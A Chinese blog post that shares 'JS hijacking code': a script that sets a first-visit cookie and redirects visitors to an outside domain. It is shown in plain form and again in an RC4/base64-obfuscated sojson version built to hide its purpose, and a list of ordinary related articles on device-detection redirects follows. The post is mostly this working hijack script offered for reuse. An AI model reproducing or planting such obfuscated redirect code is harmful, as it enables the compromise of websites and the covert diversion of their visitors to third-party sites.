今天分享一套关于Js劫持代码,进行判断第一次访问进行跳转,仅供大家参考学习!

未加密:

if (c.indexOf('isfirstvisited=false') != -1) {

     }
else {
var d = new Date();
d.setFullYear(d.getFullYear() + 1);
document.cookie = 'isfirstvisited=false;expires=' + d.toGMTString();
window.location.href='http://zhimo.yuanzhumuban.cc';
}

  加密混淆后代码:

;var encode_version = 'sojson.v5', nwgyn = '__0x5267e',  __0x5267e=['ZcOdwrHCj0bDn8Kuwr9/','wqDDlcKGw4QT','5Lip6IGa5Ym26Zm4wptyw6E0w5Bqw6NTwpg=','wrZmwpYpUQPDnFnCncODFQ==','H1TDsMOywoYxwqBIEkDCgw==','wpLCh8KLOVDCjcK6wq1MwovDsMKyb8Oae3YvBz/DusO/ZcK/LgYzD8ObJg==','dXLCtsKFWi1uwovCmcKnw4s=','YWwUwqs=','wqXDusO1wpHDh8Osb3ZWw4HCtcO4woTCt0DCnVtsGsOvNAjCp1bDs8O9w7vDnw=='];(function(_0x168cdb,_0x40d4b3){var _0x38ae0c=function(_0x425de3){while(--_0x425de3){_0x168cdb['push'](_0x168cdb['shift']());}};_0x38ae0c(++_0x40d4b3);}(__0x5267e,0x1bc));var _0x7e40=function(_0x502611,_0x11343b){_0x502611=_0x502611-0x0;var _0x10b926=__0x5267e[_0x502611];if(_0x7e40['initialized']===undefined){(function(){var _0x408135=typeof window!=='undefined'?window:typeof process==='object'&&typeof require==='function'&&typeof global==='object'?global:this;var _0x2a0cc0='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x408135['atob']||(_0x408135['atob']=function(_0x2910fe){var _0xe1fb7a=String(_0x2910fe)['replace'](/=+$/,'');for(var _0x59e5e6=0x0,_0x16615a,_0x2dd501,_0x14b77d=0x0,_0x2555f1='';_0x2dd501=_0xe1fb7a['charAt'](_0x14b77d++);~_0x2dd501&&(_0x16615a=_0x59e5e6%0x4?_0x16615a*0x40+_0x2dd501:_0x2dd501,_0x59e5e6++%0x4)?_0x2555f1+=String['fromCharCode'](0xff&_0x16615a>>(-0x2*_0x59e5e6&0x6)):0x0){_0x2dd501=_0x2a0cc0['indexOf'](_0x2dd501);}return _0x2555f1;});}());var _0x6dcba9=function(_0x3c94d8,_0x2b9a55){var _0x23cc1e=[],_0x5ae6c8=0x0,_0x470234,_0x49805b='',_0x22fb6b='';_0x3c94d8=atob(_0x3c94d8);for(var _0x2651b3=0x0,_0x3fd5d2=_0x3c94d8['length'];_0x2651b3<_0x3fd5d2;_0x2651b3++){_0x22fb6b+='%'+('00'+_0x3c94d8['charCodeAt'](_0x2651b3)['toString'](0x10))['slice'](-0x2);}_0x3c94d8=decodeURIComponent(_0x22fb6b);for(var _0x157a4d=0x0;_0x157a4d<0x100;_0x157a4d++){_0x23cc1e[_0x157a4d]=_0x157a4d;}for(_0x157a4d=0x0;_0x157a4d<0x100;_0x157a4d++){_0x5ae6c8=(_0x5ae6c8+_0x23cc1e[_0x157a4d]+_0x2b9a55['charCodeAt'](_0x157a4d%_0x2b9a55['length']))%0x100;_0x470234=_0x23cc1e[_0x157a4d];_0x23cc1e[_0x157a4d]=_0x23cc1e[_0x5ae6c8];_0x23cc1e[_0x5ae6c8]=_0x470234;}_0x157a4d=0x0;_0x5ae6c8=0x0;for(var _0x4ac905=0x0;_0x4ac905<_0x3c94d8['length'];_0x4ac905++){_0x157a4d=(_0x157a4d+0x1)%0x100;_0x5ae6c8=(_0x5ae6c8+_0x23cc1e[_0x157a4d])%0x100;_0x470234=_0x23cc1e[_0x157a4d];_0x23cc1e[_0x157a4d]=_0x23cc1e[_0x5ae6c8];_0x23cc1e[_0x5ae6c8]=_0x470234;_0x49805b+=String['fromCharCode'](_0x3c94d8['charCodeAt'](_0x4ac905)^_0x23cc1e[(_0x23cc1e[_0x157a4d]+_0x23cc1e[_0x5ae6c8])%0x100]);}return _0x49805b;};_0x7e40['rc4']=_0x6dcba9;_0x7e40['data']={};_0x7e40['initialized']=!![];}var _0x551480=_0x7e40['data'][_0x502611];if(_0x551480===undefined){if(_0x7e40['once']===undefined){_0x7e40['once']=!![];}_0x10b926=_0x7e40['rc4'](_0x10b926,_0x11343b);_0x7e40['data'][_0x502611]=_0x10b926;}else{_0x10b926=_0x551480;}return _0x10b926;};if(c['indexOf']('isfirstvisited=false')!=-0x1){}else{var d=new Date();d[_0x7e40('0x0','8YCC')](d[_0x7e40('0x1','Y8ld')]()+0x1);document['cookie']=_0x7e40('0x2','%3J1')+d[_0x7e40('0x3','oWV]')]();window['location'][_0x7e40('0x4','0U8R')]=_0x7e40('0x5','OfAm');};if(!(typeof encode_version!=='undefined'&&encode_version===_0x7e40('0x6','9]*u'))){window[_0x7e40('0x7','cCi9')](_0x7e40('0x8','ei)Y'));};encode_version = 'sojson.v5';

  

js判断是否第一次访问跳转的更多相关文章

  1. JS判断移动端访问设备并加载对应CSS样式

    JS判断不同web访问环境,主要针对移动设备,提供相对应的解析方案(判断设备代码直接copy腾讯网的) // 判断是否为移动端运行环境 if(/AppleWebKit.*Mobile/i.test(n ...

  2. js判断是否手机自动跳转移动端

    写法一: {literal} <script> //判断是否手机自动跳转 var browser={versions:function(){var u=navigator.userAgen ...

  3. js判断是电脑访问手机版网站,跳转到电脑版

    function uaredirect(murl,wurl){ //murl为手机网站域名,wurl为电脑版网站域名地址 67 try { 68 if(document.getElementById( ...

  4. JS判断web网站访问端是PC电脑还是手机

    通过JS语句判断WEB网站的访问端是电脑还是手机,以显示不同的页面! <script type="text/javascript"> <!-- //平台.设备和操 ...

  5. js判断移动终端url跳转

    CODE <script> //判断终端url跳转 function sp_isMobile() { return Boolean(navigator.userAgent.match(/. ...

  6. js判断是android访问还是ios访问

    原文地址:http://blog.csdn.net/wy978651775/article/details/9014039 该博主也是转载的,但是没有标明出处. 判断原理: JavaScript是前端 ...

  7. JS判断是手机访问还是PC端访问网站

    <script>    if ((navigator.userAgent.match(/(iPhone|iPod|Android|ios|iOS|iPad|Backerry|WebOS|S ...

  8. js判断当前的访问是手机/电脑

    <script type="text/javascript"> var commonURL = 'http://www.xxx.com/'; function mobi ...

  9. js判断当前的访问是手机还是电脑

    <script type="text/javascript"> //平台.设备和操作系统 var system ={ win : false, mac : false, ...

随机推荐

  1. Angular 修改路由策略,改为使用hash路由,即带#号URL

    修改app.module.ts如下  

  2. 【洛谷】P1308 统计单词数-全AC题解(易理解

    弟弟的混乱代码(易理解 大概 思路: 循环b(被找的字符串),遇空格比较两空格间的长度是否与a(需要查找的字符)相等:不相等继续循环:相等比较内容是否相同(倒数比较,不一样直接退出 ,直到比较到第一个 ...

  3. C/C++ 快速排序实现

    #include<iostream> using namespace std; void qS(int *array,int left,int right){ if(left<rig ...

  4. Python调用Matlab2014b引擎

    用惯Python的你,是不是早已无法忍受matplotlib那丑陋无比的图以及蛋疼无比部署依赖? 当当当当,Matlab2014b的Python Engine API现已加入豪华午餐. 上次写了一篇文 ...

  5. DotNet Core 2.2 MVC Razor 页面编译为 View.dll 文件的解决方法

    使用文本文件编辑器打开项目文件,找到: <PropertyGroup>     <TargetFramework>netcoreapp2.0</TargetFramewo ...

  6. 2)NET CORE特性与优势

    先看看netcore有哪些特性,哪些优点,与.net frameworkd 差异吧: l  跨平台: 可以在 Windows.macOS 和 Linux 操作系统上运行. l  跨体系结构保持一致:  ...

  7. 在windows服务中使用定时器

    在windows服务中,利用winform中直接拖动timer控件的方式使用定时器是不可以的,启动服务后会发现定时器并没有执行.那么在windows服务中如何使用定时器呢?  不使用直接拖动控件的方式 ...

  8. postgreSQL 备份+还原多张表

    -U表示用户 -h表示主机 -p表示端口号 -t表示表名 -f表示备份后的sql文件的名字 -d表示要恢复数据库名 一.打开cmd 进入postgresql安装路径下的bin文件夹,以我的为例: cd ...

  9. 2019 前程无忧java面试笔试题 (含面试题解析)

    本人3年开发经验.18年年底开始跑路找工作,在互联网寒冬下成功拿到阿里巴巴.今日头条.前程无忧等公司offer,岗位是Java后端开发,最终选择去了前程无忧. 面试了很多家公司,感觉大部分公司考察的点 ...

  10. Java自学-控制流程 continue

    Java的 continue语句 继续下一次循环 示例 1 : continue 如果是双数,后面的代码不执行,直接进行下一次循环 public class HelloWorld { public s ...